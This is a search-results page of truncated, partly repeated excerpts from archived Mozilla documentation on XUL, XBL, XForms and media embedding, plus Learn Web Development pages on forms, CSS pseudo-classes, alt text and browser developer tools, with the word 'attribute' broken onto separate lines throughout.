... commonly used to initialize fields and perform other tasks that need to be done before the user can use the window. you should use a load event to do these kinds of things as opposed to adding a script at the top level outside of a function. this is because the xul elements may not have loaded or fully initialized yet, so some things may not work as expected. to use a load event, place an onload
attribute on the window tag. call code within the load handler which will initialize the interface as necessary. there is also an unload event which is called once the window has closed, or in a browser context, when the page is switched to another url. you can use this event to save any changed information, for example. next, we'll find out how to add keyboard shortcuts. « previousnext » ...
More Menu Features - Archive of obsolete content
applications have menu items that have checks on them. for example, a feature that is enabled has a check placed beside the command and a feature that is disabled has no check. when the user selects the menu, the check state is switched. you may also want to create radio buttons on menu items. the checks are created in a similar way to the checkbox and radio elements. this involves the use of two
attributes: type to indicate the type of check, and name to group commands together. the example below creates a menu with a checked item. example 2 : source view <toolbox> <menubar id="options-menubar"> <menu id="options_menu" label="options"> <menupopup> <menuitem id="backups" label="make backups" type="checkbox"/> <menuitem id="email" label="email administrator" type="checkbo...
...le below creates a menu with a checked item. example 2 : source view <toolbox> <menubar id="options-menubar"> <menu id="options_menu" label="options"> <menupopup> <menuitem id="backups" label="make backups" type="checkbox"/> <menuitem id="email" label="email administrator" type="checkbox" checked="true"/> </menupopup> </menu> </menubar> </toolbox> the type
attribute has been added which is used to make the menu item checkable. by setting its value to checkbox, the menu item can be checked on and off by selecting the menu item. menu with radios in addition to standard checks, you can create the radio style of checks by setting the type to a value of radio. a radio check is used when you want a group of menu items where only one item can be checked at once. an...
...create the radio style of checks by setting the type to a value of radio. a radio check is used when you want a group of menu items where only one item can be checked at once. an example might be a font menu where only one font can be selected at a time. when another item is selected, the previously selected item is unchecked. in order to group a set of menu items together, you need to put a name
attribute on each one to group. set the value to the same string. the example below demonstrates this: example 3 : source view <toolbox> <menubar id="planets-menubar"> <menu id="planet-menu" label="planet"> <menupopup> <menuitem id="jupiter" label="jupiter" type="radio" name="ringed"/> <menuitem id="saturn" label="saturn" type="radio" name="ringed" checked="true"/> <menu...
More Wizards - Archive of obsolete content
« previousnext » this section describes some additional features of wizards. more complex wizard navigation normally, a wizard displays each wizardpage in the order that you place them in the xul file. in some cases however, you may want to have different pages of the wizard appear depending on what the user selects in earlier pages. in this case, place a pageid
attribute on each of the pages. this should be set to an identifier for each page. then, to navigate to a page, use one of two methods: set the next
attribute on each page to the page id of the next page to go to. you can change these
attributes as needed to navigate to different pages. call the wizard's goto() method. it takes one argument, the page id of a page to go to. you might call this method in the onpageadv...
...eid="color" next="done"> <wizardpage pageid="done"> the wizard always starts at the first page, which in this case has the page id type. the next page is the one with the page id font, so the wizard will navigate to that page next. on the page with the page id font, we can see that the next page is done, so that page will be displayed afterwards. the page with the page id done has no next
attribute, so this will be the last page. a script will adjust the next
attributes as necessary to go to the page with the page id color when needed. wizard functions the wizard works much like a tabbed panel, except that the tabs are not displayed and the user navigates between pages by using the buttons along the bottom. because all of the pages are part of the same file, all of the values of the field...
...ch can be set to true to indicate that the next button should be enabled. if set to false, the next button is disabled. you can change the property when invalid or valid data has been entered. in the following example, the user must enter a secret code into a textbox on the first page of the wizard. the function checkcode() is called whenever the first page is shown as indicated by the onpageshow
attribute. it is also called whenever a key is pressed in the textbox, to determine whether the next button should be enabled again. wizard example source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="thewizard" title="secret code wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function checkcode(){ document...
Persistent Data - Archive of obsolete content
ry as other user preferences. it holds state information about each window. this method has the advantage that it works with mozilla user profiles, so that each user can have different settings. xul allows you to save the state of any element. you will typically want to save toolbar states, window positions and whether certain panels are displayed or not, but you can save almost anything. persist
attribute to allow the saving of state, you simply add a persist
attribute to the element which holds a value you want to save. the persist
attribute should be set to a space-separated list of
attributes of the element that you want to save. the element must also have an id
attribute in order to identify it. for example, to save the size of a window, you would do the following: <window id="somewindow" ...
...element which holds a value you want to save. the persist
attribute should be set to a space-separated list of
attributes of the element that you want to save. the element must also have an id
attribute in order to identify it. for example, to save the size of a window, you would do the following: <window id="somewindow" width="200" height="300" persist="width height" . . . the two
attributes of the window element, the width and the height will be saved. you could add additional
attributes by adding a space and another
attribute name to the persist
attribute. you can add the persist
attribute to any element and store any
attribute. you might use unusual values if you adjust
attributes using a script. ...
...to save the position of the window. to do this, we need to modify the window. ...
Stacks and Decks - Archive of obsolete content
elements. we've already seen that buttons may contain other things besides the default. a scroll bar is just a special type of box that creates its own elements if you don't provide them. it also handles the moving of the scroll bar thumb. in the next few sections, we'll introduce some elements that are designed for holding other elements. they are all special types of boxes and allow all of the
attributes of boxes on them. stacks the stack element is a simple box. it works like any other box but has the special property that its children are laid out all on top of each other. the first child of the stack is drawn underneath, the second child is drawn next, followed by the third and so on. any number of elements may be stacked up in a stack. the orient property has little meaning on a stack as ...
...sequence. rather than create separate windows and add navigation buttons to each of them, you would create one window and use a deck where the content changes. like stacks, the direct children of the deck element form the pages of the deck. if there are three children of the deck element, the deck will have three children. the displayed page of the deck can be changed by setting an selectedindex
attribute on the deck element. the index is a number that identifies which page to display. pages are numbered starting from zero. so, the first child of the deck is page 0, the second is page 1 and so on. example 3 : source view <deck selectedindex="2"> <description value="this is the first page"/> <button label="this is the second page"/> <box> <description value="this is the third page"/> ...
...d page"/> <button label="this is also the third page"/> </box> </deck> three pages exist here, the default being the third one. the third page is a box with two elements inside it. both the box and the elements inside it make up the page. the deck will be as large as the largest child, which here should be the third page. you can switch pages by using a script to modify the selectedindex
attribute. more on this in the section on events and the dom. the next section describes how stacks can be used to position child elements. « previousnext » ...
Updating Commands - Archive of obsolete content
for other commands, you will need to use a couple of additional lines of code. you will need to use these extra steps when invoking commands implemented by a controller. in addition, you will need to do this when creating your own menu commands, for instance to implement the edit menu commands in your own application. fortunately, the extra code is fairly simple. ...
...ontents change. a command updater will listen for these situations and code can be executed which enables and disables commands as necessary. ...
...hese situations and code can be executed which enables and disables commands as necessary. a simple command updater looks like this: <commandset id="updatepasteitem" commandupdater="true" events="focus" oncommandupdate="goupdatecommand('cmd_paste');"/> a command updater is indicated by using the commandupdater
attribute, which should be set to true. the events
attribute is used to list the events that the command updater listens for. you can specify multiple events by separating them with commas. in the example above, the command updater listens for the focus event. this causes commands to be updated when an element receives the focus. when a focus event occurs, the code in the oncommandupdate
attribute is called. in the example, the goupdatecommand method is ca...
XBL Inheritance - Archive of obsolete content
ever, it would be better to simply extend the existing button code. any binding can be extended with another. the child binding can add properties, methods and event handlers. the child binding will have all the features it defines in addition to the features from the binding it inherits from (and any that binding inherits from and so on up the tree). to extend an existing binding, add an extends
attribute on to the binding tag. for example, the following binding creates a textbox which adds the text 'http://www' to the beginning of its value when the f4 key is pressed. example 1 : source <binding id="textboxwithhttp" extends="chrome://global/content/bindings/textbox.xml#textbox"> <handlers> <handler event="keypress" keycode="vk_f4"> this.value="http://www"+value; </handler...
...' to the beginning of its value when the f4 key is pressed. example 1 : source <binding id="textboxwithhttp" extends="chrome://global/content/bindings/textbox.xml#textbox"> <handlers> <handler event="keypress" keycode="vk_f4"> this.value="http://www"+value; </handler> </handlers> </binding> the xbl here extends from the xul textbox element. the url given in the extends
attribute above is the url of the textbox binding. this means that we inherit all of the content and behavior provided by the textbox binding. in addition, we add a handler which responds to the keypress event. autocompleting textboxes the example above is similar to how the url autocomplete feature works in mozilla. a textbox that supports autocomplete is just one with a xbl binding that extends the basic...
...extboxes the example above is similar to how the url autocomplete feature works in mozilla. a textbox that supports autocomplete is just one with a xbl binding that extends the basic textbox. the autocomplete textbox adds extra event handling so that when a url is typed, a menu will pop up with possible completions. you can use it in your own applications too. just create a textbox with two extra
attributes. <textbox type="autocomplete" searchsessions="history"/> set the type to autocomplete to add the autocomplete feature to an existing textbox. set the searchsessions to indicate what type of data to look up. in this case, the value history is used, which looks up urls in the history. (you can also use the value addrbook to look up addresses in the address book.) firefox uses a different autoc...
XUL Changes for Firefox 1.5 - Archive of obsolete content
n. preferences system several elements have been added which may be used for creating preference windows. these windows are special types of dialogs which support several panels, each of which may be contained in the same file or a separate file. a set of icons will appear across the top of the dialog allowing the user to switch panels. along with the new preference elements and some additional
attributes for existing elements, they make it easy to set preferences without having to use code. for more information, see preferences system. bfcache mozilla now caches the page's dom, so that navigating back and forward does not reload the page, making navigation much more efficient. the pageshow and pagehide events are used when switching from a page in the cache, while the load and unload events ar...
... button, used on some platforms. for instance <button icon="help"> will create a button with a help icon. this is used typically on gnome systems where possible values are: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network. <menulist> items in a <menulist> support the description
attribute to allow for extra descriptive text to appear beside an item's label. the menulist modification methods appenditem and insertitemat take an extra description argument when creating items this way. <listbox> the removeitemat method was sometime non zero-based due to a bug (bug 236068). this has been fixed in firefox 1.5 and all code depending on this non zero-based behaviour should be changed. ...
... been fixed in firefox 1.5 and all code depending on this non zero-based behaviour should be changed. <stringbundle> the <stringbundle> element has a strings property which may be used to retrieve an enumeration of all of the strings in the bundle. draggable tabs the tabbrowser now allows the user to rearrange tabs by dragging them. <tabbox> the <tabbox> element now supports a selectedindex
attribute to specify the tab to be selected by default. loading overlays dynamically xul now supports loading overlays dynamically with the document.loadoverlay function. original document information author(s): neil deakin ...
Accessibility/XUL Accessibility Reference - Archive of obsolete content
caption see groupbox che...
...utwrap2" value="is" /> <label control="butwrap2" value="a" /> <label control="butwrap2" value="button" /> </button> <button image="images/img.xbm" tooltiptext="<!--button text-->"/> note that in the third example, only the first label is read browser jaws 7.10 issues to use a browser element with html, the type="content"
attribute should be specified. however, this
attribute causes any xul loaded in the browser to have issues with jaws 7.10. we believe they are using the window class to determine that it is content rather than dialog, but does not support content mode for xul. therefore, with jaws 7.10, to use xul inside of a browser, the type
attribute cannot not be used. caption see groupbox checkbox <checkbox label='<!--label tex...
... <menuitem label="<!--option1-->" /> <menuitem label="<!--option2-->" selected="true" /> <menuitem label="<!--option3-->" /> </menupopup> </menulist> menupopup see menulist and menubar popup see popupset popupset be careful regarding keyboard access of popups. i don't see a means of accessing a popup brought up via the popup
attribute. using context="popupid" allows access via shift+f10 on windows and linux. progressmeter <progressmeter mode="determined" value="10" /> as progress advances, jaws indicates percentage to the user radio see radiogroup radiogroup <label value='<!--radio group-->' control='radioid' /> <radiogroup id='radioid'> <radio selected="true" label...
XML - Archive of obsolete content
e necessary tradeoff for xul's flexibility is a lack of implicit functionality -- the lack ofintuition, you might say, that xul has in interpreting what it is you want. in order to provide flexibility to you as adesigner of interfaces, xul offers no flexibility to you as acoder. you must be very careful about your syntax, and in particular about these four cardinal rules of xul: all events and
attributes must be written in lowercase. unlike html, xul is very sensitive to case. all of the events and
attributes -- even the javascript event listeners normally formatted in the javascript world with uppercase verbs (e.g., onclick, onload) -- must be lowercase or they are invalid. all strings must be double quoted. all of the values for all of the
attributes declared in xul are strings. when a...
... every xul widget must use close tags to be well-formed. html allows some elements, such as <br> and <hr>, to be neither closed nor matched with a closing element. ...
...restingstartupthing()'") that value must be double-quoted. every xul widget must use close tags to be well-formed. html allows some elements, such as <br> and <hr>, to be neither closed nor matched with a closing element. in xul, elements must either be of the form <tag></tag> or <tag/> to be valid. for example, <html:img src="box.gif" /> is valid, but <html:img src="box.gif"> is not. all
attributes must have a value. xul is made out of xml you don't need to know all about xml in order to use xul, but you may want to read through this article to get a sense of xul's pedigree as a specialized markup language. xul is based upon xml, so it inherits a lot of the rules and syntax described above from this "meta-language," as you will see. any familiarity you already have with xml will help yo...
assign - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] for xml templates, specifies an additional variable to assign a value to. for more information, see xml_assignments
attributes expr, var examples (example needed)
attributes expr type: string for xml queries, an xpath expression which returns results. any namespace prefixes declared on the element may be used within the expression. var type: string for the xul assign
attribute, this is the variable to assign the value to; otherwise it's a reference to a template variable such as "?name". inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equals...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
treecols - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a group of treecol elements. there should one and only one treecols element in a tree. more information is available in the xul tutorial.
attributes pickertooltiptext properties accessibletype examples (example needed)
attributes pickertooltiptext type: string the text for the tooltip on the column picker. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack,...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements tree, treecol, treechildren, treeitem, treerow, treecell and treeseparator. interfaces nsiaccessibleprovider ...
Dialogs in XULRunner - Archive of obsolete content
ents have a special method to open dialogs, called window.opendialog(). here is the code needed to open a dialog: function opendialog() { window.opendialog("chrome://basicapp/content/dialog.xul", "newdlg", "modal"); } the resulting dialog looks like this on windows 2000, and will look similar on other operating systems: the first thing that caught my eye about dialog is the button-related
attributes on the element. in an effort to make things easier for developers and more consistent for users, xul has a mechanism to automatically create and position the core dialog buttons ("ok," "cancel," and "help" for example). the developer just declares the need for the button, the button's caption, and the access key for the button, as well as the javascript function to call if the button is pressed...
...eloper just declares the need for the button, the button's caption, and the access key for the button, as well as the javascript function to call if the button is pressed. xul handles placing and styling the buttons on the dialog. this is also nice for cross-platform applications, as each os has its own convention for where buttons should be placed on a dialog. here is a short list of the button
attributes on dialog; see also creating dialogs at mozillazine knowledge base: buttons a comma separated list of buttons to show on dialog (accept, cancel, help, extra1, and extra2). buttonlabelaccept label for the accept button; similar
attributes exist for the other button types. buttonaccesskeyaccept access key for the accept button; similar
attributes exist for the other button types. ondialog...
... xul has a wide range of input controls you can use in a dialog. in the future, i will try to go into more detail on some of the existing and planned xul input controls. ...
XUL Explorer - Archive of obsolete content
. option to specify the snippet used to load the editor on startup. option to include a user snippet file. the snippets are merged with the built-in snippets at startup. double-click or drag-and-drop to insert a snippet file > new allows user to pick any “template” snippet, as well as blank. simple xul checker can be used to ‘validate’ the xul snippet. ...
...ed to load the editor on startup. option to include a user snippet file. the snippets are merged with the built-in snippets at startup. double-click or drag-and-drop to insert a snippet file > new allows user to pick any “template” snippet, as well as blank. simple xul checker can be used to ‘validate’ the xul snippet. it checks for legal element and
attribute names, including allowed
attributes for a given element. ...
... to include a user snippet file. the snippets are merged with the built-in snippets at startup. double-click or drag-and-drop to insert a snippet file > new allows user to pick any “template” snippet, as well as blank. simple xul checker can be used to ‘validate’ the xul snippet. it checks for legal element and
attribute names, including allowed
attributes for a given element. ...
Extentsions FAQ - Archive of obsolete content
"0" top="0"> would seem to suffice. could there be more than two images to reflect more than two states?does the rules in the css file have to be in any particular order (if two rules match, which is chosen)? i have two states switching images in the tool bar and would have no problem implementing a third, so yes it's possible. ...
... more than two states?does the rules in the css file have to be in any particular order (if two rules match, which is chosen)? i have two states switching images in the tool bar and would have no problem implementing a third, so yes it's possible. ...
...ten-toolbar-button[myexten-toolbar-button="on"] { list-style-image: url("chrome://myexten/skin/toolbar-button.png"); -moz-image-region: rect(0px 24px 24px 0px);} #myexten-toolbar-button[myexten-toolbar-button="off"] { list-style-image: url("chrome://myexten/skin/toolbar-button-off.png"); -moz-image-region: rect(0px 24px 24px 0px);} to implement a third i would simply change add an
attribute and the corresponding css see http://www.w3.org/tr/rec-css2/cascade.html#cascade friday, october 13 - 20, 2006 (↑ top) how to get a refenece to the sidebar window assuming you have chrome privileges, this should work: var ci = components.interfaces; var toplevelwindow = window.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.n...
The First Install Problem - Archive of obsolete content
gins based on their "classid" (their respective plid, which is a uri, which works well with the w3c spec). for example, in our case, a prospective invocation might look like: <object classid="@mycompany.com/myapplication,version=5.01" data="myfile.typ" codebase="http://myurl.com/myplugin/myplugin.xpi" type="application/x-myapp"></object> the use of both "type" and "classid"
attributes here offers the following user benefit: if there is another mimetype handler for application/x-myapp, only myapplication gets invoked. the resolution of a mimetype handler is no longer arbitrary. if the "data" file myfile.typ doesn't contain enough resource information to load the correct mimetype handling component (dll), specifying "type" is an additional mechanism. unlike uuids, plids ...
...on/x-myapp, only myapplication gets invoked. the resolution of a mimetype handler is no longer arbitrary. if the "data" file myfile.typ doesn't contain enough resource information to load the correct mimetype handling component (dll), specifying "type" is an additional mechanism. unlike uuids, plids are human readable, and not lengthy "garbled" strings. ...
...yp doesn't contain enough resource information to load the correct mimetype handling component (dll), specifying "type" is an additional mechanism. unlike uuids, plids are human readable, and not lengthy "garbled" strings. (it should be noted that the "classid"
attribute discussion here is a potential future direction; it doesn't yet work, at least as of firefox 3.6.8. the recommended <object>
attribute to set is still either "type" or "data".) advantage: we now no longer have ambiguity in determining which plugin handles what mimetype, because now the plugin has been invoked using the classid
attribute of the object tag, which is in compliance with the html 4.01 specification for use of the object tag. (original proposal by arun k. ranganathan <aruner@netscape.com>) ...
Mozilla XForms Specials - Archive of obsolete content
(limitation tracked in bug 280368) mixing repeat and table or ul it is not possible to mix repeats with either table or ul. that means that it is not possible to do: <table> <xf:repeat ...> <tr> ... ...
...(limitation tracked in bug 280368) mixing repeat and table or ul it is not possible to mix repeats with either table or ul. that means that it is not possible to do: <table> <xf:repeat ...> <tr> ... ...
...erface we have added a lot of functionality to our user interface, which allows the form authors to create custom controls. it involves exposing some (script) functionality on all our controls, like output, input, etc. and allowing the ui to be represented in xbl. more information can be found in xforms:custom controls. labelposition for xforms:input elements bound to a boolean node we support an
attribute labelposition in the namespace http://www.mozilla.org/projects/xfor...009/extensions, which allows the form author to define on which side of the checkbox the label will be shown. for details, see the input control documentation. misc cross domain submission not exactly either a limitation, or an extension, but it is worth mentioning here. for security reasons, it is not per default possible for ...
XForms Output Element - Archive of obsolete content
introduction serves to show the instance data that the element is bound to in a read-only manner (see the spec). to see how they work you can try an xhtml example or a xul example.
attributes ui common appearance - the value of this
attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special value - xpath expression whose evaluation result is used as the output's value. if binding
attributes are present on the control then the value
attribute is is ignored. type restrictions the output element can be bound to a node containing simple content of any data type. representations the xforms output element can be represented by the...
...he other widgets (as documented below). analogous widgets are <xhtml:span/> and <xul:description/> calendar a form author may notice a xforms output element represented by a calendar widget in the mozilla xforms processor if the control meets the following criteria (xhtml/xul). characteristics the bound instance node is of type xsd:date or a type derived from it in addition, the appearance
attribute must also contain the value "full" firefox 2.0 doesn't currently have any similar widgets available for use with xhtml or xul. image if the bound instance node contains an image then you are free to use this representation to show the image instead of the byte sequence of the image data (fx 3.0 only, xhtml/xul). characteristics the bound instance node is of type xsd:anyuri, xsd:base64binary...
...doesn't currently have any similar widgets available for use with xhtml or xul. image if the bound instance node contains an image then you are free to use this representation to show the image instead of the byte sequence of the image data (fx 3.0 only, xhtml/xul). characteristics the bound instance node is of type xsd:anyuri, xsd:base64binary or a type derived from it either the mediatype
attribute is present and contains the image's mimetype or the output element contains a mediatype element which specifies the image's mimetype (for example, image/*). ...
XForms Submit Element - Archive of obsolete content
introduction this form control initiates a submission. the result of which is all or part of an instance document being sent to a target destination, which could be local or remote (see the spec). upon receiving a domactivate event, this form control dispatches a xforms-submit event to the submission element (see the spec) specified in its submission attibute.
attributes ui common appearance - the value of this
attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special submission - required reference to element submission. type restrictions the submit element can be bound to a node con...
...t can be bound to a node containing data of any type. actually, the submit element doesn't interact with the data in the bound node. however, the relevant model item property on the bound node has an effect on a submit. if the bound node is irrelevant, then the submit will be hidden. representations the xforms submit element can be represented by the following widgets for the specified appearance
attribute values: button - default representation (xhtml/xul) link/clickable text - used when appearance = 'minimal' (xhtml only) button displaying a button is the default presentation (xhtml/xul). characteristics analogous widgets are <html:input type="submit"/> and <xul:button/> link/clickable text xforms authors can use this representation if they want to have a widget like a xhtml anchor (xht...
... ...
XForms Switch Module - Archive of obsolete content
. switch element the element (see the spec) is used in conjunction with case and toggle elements. the switch element contains case elements which in turn contain markup. only the contents of a single case may be displayed at one time. the toggle element is an action that when triggered will make a case selected and visible and thereby hiding all other case elements contained by the same switch.
attributes single-node binding type restrictions the switch element can be bound to a node containing data of any type. actually, the switch element doesn't interact with the data in the bound node. however, having a relevant model item property on the bound node has an effect on a switch. binding a switch to a data node will also set a context that the expressions contained inside the case elements ca...
...nts can build upon. representations the switch element doesn't have a visual representation. case element this element (see the spec) encloses markup to be conditionally rendered. the content elements (e.g. form controls, groups, switches, repeats and host language elements) within a non-selected case are not rendered. correspondingly, content elements in a case that becomes selected are visible.
attributes special selected - determines the initial selected state of the case. if multiple cases within a switch are marked as selected="true", the first selected case will appear and all others will not be visible. if no case is initially selected, the first case inside the switch becomes selected and visible. representations the case element doesn't have a visual representation. ...
...tch becomes selected and visible. representations the case element doesn't have a visual representation. toggle element the element (see the spec) selects one possible case from an exclusive list of alternatives in a switch. a toggle can be designated as an event handler using xml events or may also be contained in an action element. in either scenario, it would be triggered by an event.
attributes events special case - the idref of a case element to select representations the case element doesn't have a visual representation. example <switch> <case id="in" selected="true"> <input ref="yourname"> <label>please tell me your name</label> <toggle ev:event="domactivate" case="out"/> </input> </case> <case id="out" selected="false"> <html:p...
Styling Abbreviations and Acronyms - Archive of obsolete content
their styling can come as a surprise to authors. see how you can take control of their presentation without sacrificing the benefits these elements provide. many authors are beginning to use the html elements abbr (abbreviation) and acronym in their web pages. ...
...acronym in their web pages. ...
...an be done with the following rule: abbr[title], acronym[title] { text-decoration: none; } it may be better to lessen the visual weight of the border without actually removing it. the underline tells readers that the word in question has extra information associated with it. in mozilla, placing the mouse pointer over the element and leaving it for a moment will cause the contents of the title
attribute to appear as a tooltip next to the mouse pointer. removing the underline from these elements will rob readers of an indication that there is extra information available. related links web content accessibility guidelines 1.0 original document information author(s): eric a. meyer, netscape communications last updated date: published 09 aug 2002 copyright information: copyright © 2001-...
Windows Media in Netscape - Archive of obsolete content
p (used above and shown below) will work in both ie and netscape 7.1. <object id="playerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full" /> <param name="autostart" value="true" /> <param name="url" value="preludesteel.wma" /> your browser does not support the activex windows media player </object> the classid
attribute references the clsid of windows media player 7 and above -- windows media player versions before 7 used a different clsid. examples in this article all assume that the user is running windows media player 7 and later, although netscape 7.1 supports the clsids of windows media player 6x and later. it is important to note that in netscape 7.1, only the classid for windows media player is supported,...
...ayer 7 and later, although netscape 7.1 supports the clsids of windows media player 6x and later. it is important to note that in netscape 7.1, only the classid for windows media player is supported, and no other control can be created. the various param elements that can be used and the functionalities behind them is best described by the windows media 9 series sdk. in netscape 7.1, the codebase
attribute of the object element cannot be used to initiate a digitally signed download of the windows media control, if it is not present on the machine. the section below on scripting the control covers more on how to detect if the windows media player has not been successfully created. scripting the windows media player control the number of methods and properties that are exposed by the windows media p...
...ipts in the web page containing the control, are covered in detail by the windows media player sdk. this section covers relevant issues concerning the invocation of methods and properties from within web pages that are embedding the windows media control. detecting successful creation of the control often, usage of activex controls in ie involve the use of the object element along with a codebase
attribute that initiates a download of the component if it is missing from the machine running the web page. the windows media 9 series sdk doesn't provide a url to use with the codebase
attribute for retrieval of the component in ie, and on netscape 7.1 the codebase
attribute isn't supported for such retrieval. therefore detecting whether the component was successfully instantiated can help provide users ...
Images, media, and form elements - Learn web development
any form controls are added to your page by way of the <input> element — this defines simple form fields such as text inputs, through to more complex fields added in html5 such as color and date pickers. there are some additional elements, such as <textarea> for multiline text input, and also elements used to contain and label parts of forms such as <fieldset> and <legend>. html5 also contains
attributes that enable web developers to indicate which fields are required, and even the type of content that needs to be entered. if the user enters something unexpected, or leaves a required field blank, the browser can show an error message. different browsers are inconsistent in how much styling and customization they allow for such items. styling text input elements elements that allow for text inp...
...a> element are quite easy to style and tend to behave just like other boxes on your page. the default styling of these elements will differ however based on the operating system and browser that your user visits the site with. in the example below we have styled some text inputs using css — you can see that things such as borders, margins and padding all apply as you would expect. we are using
attribute selectors to target the different input types. try changing how this form looks by adjusting the borders, adding background colors to the fields, and changing fonts and padding. important: you should take care when changing the styling of form elements to make sure it is still obvious to the user they are form elements. you could create a form input with no borders and background that is almo...
...ents. summary this lesson has highlighted some of the differences you will encounter when working with images, media, and other unusual elements in css. in the next article we'll look over a few tips you'll find useful when you have to style html tables. ...
Pseudo-classes and pseudo-elements - Learn web development
value is empty. :checked matches a radio button or checkbox in the selected state. :current matches the element, or an ancestor of the element, that is currently being displayed. :default matches the one or more ui elements that are the default among a set of similar elements. :dir select an element based on its directionality (value of the html dir
attribute or css direction property). :disabled matches user interface elements that are in an disabled state. :empty matches an element that has no children except optionally white space. :enabled matches user interface elements that are in an enabled state. :first in paged media, matches the first page. :first-child matches an element that is fi...
... matches when the user hovers over an element. :indeterminate matches ui elements whose value is in an indeterminate state, usually checkboxes. :in-range matches an element with a range when its value is in-range. :invalid matches an element, such as an <input>, in an invalid state. :lang matches an element based on language (value of the html lang
attribute). :last-child matches an element which is last among its siblings. :last-of-type matches an element of a certain type that is last among its siblings. :left in paged media, matches left-hand pages. :link matches unvisited links. :local-link matches links pointing to pages that are in the same site as the current document. :is() ...
... which typically contains a bullet or number. ::selection matches the portion of the document that has been selected. ::spelling-error matches a portion of the document containing a spelling error as flagged by the browser. ...
How can we design for all types of users? - Learn web development
h can only handle text. your readers may be using a very strict intranet that blocks images originating from a cdn. your readers may have disabled images to save bandwidth, especially on mobile devices (see below). decorative images they're just for decoration and don't convey any real information. they could most often be replaced by a background image. make sure they feature an empty alt
attribute: <img src="deco.gif" alt=""> so they don't clog up the text. informative images they are used to convey information, hence their name. they can, for instance, feature a graph, or show a person's gesture, or any other information. at minimum, you must provide a relevant alt
attribute. if the image can be described succinctly, you can provide an alt
attribute and nothing more. if the image cann...
... note: the use and even the existence of longdesc has been debated for quite some time. please refer to the w3c's image description extension (longdesc) for the full explanation and thorough examples. ...
... note: the use and even the existence of longdesc has been debated for quite some time. please refer to the w3c's image description extension (longdesc) for the full explanation and thorough examples. ...
What are browser developer tools? - Learn web development
else to appear in the window. press the style button to see the css. exploring the dom inspector for a start, right-click (ctrl-click) an html element in the dom inspector and look at the context menu. the available menu options vary among browsers, but the important ones are mostly the same: delete node (sometimes delete element). deletes the current element. edit as html (sometimes add
attribute/edit text). lets you change the html and see the results on the fly. very useful for debugging and testing. :hover/:active/:focus. forces element states to be toggled on, so you can see what their styling would look like. copy/copy as html. copy the currently selected html. some browsers also have copy css path and copy xpath available, to allow you to copy the css selector or xpath expression...
...owser, open the developer tools and then click the console tab. this will give you a window like the following: to see what happens, try entering the following snippets of code into the console one by one (and then pressing enter): alert('hello!'); document.queryselector('html').style.backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mywordmark.set
attribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); now try entering the following incorrect versions of the code and see what you get. alert('hello!); document.cheeseselector('html').style.backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mybanana.set...
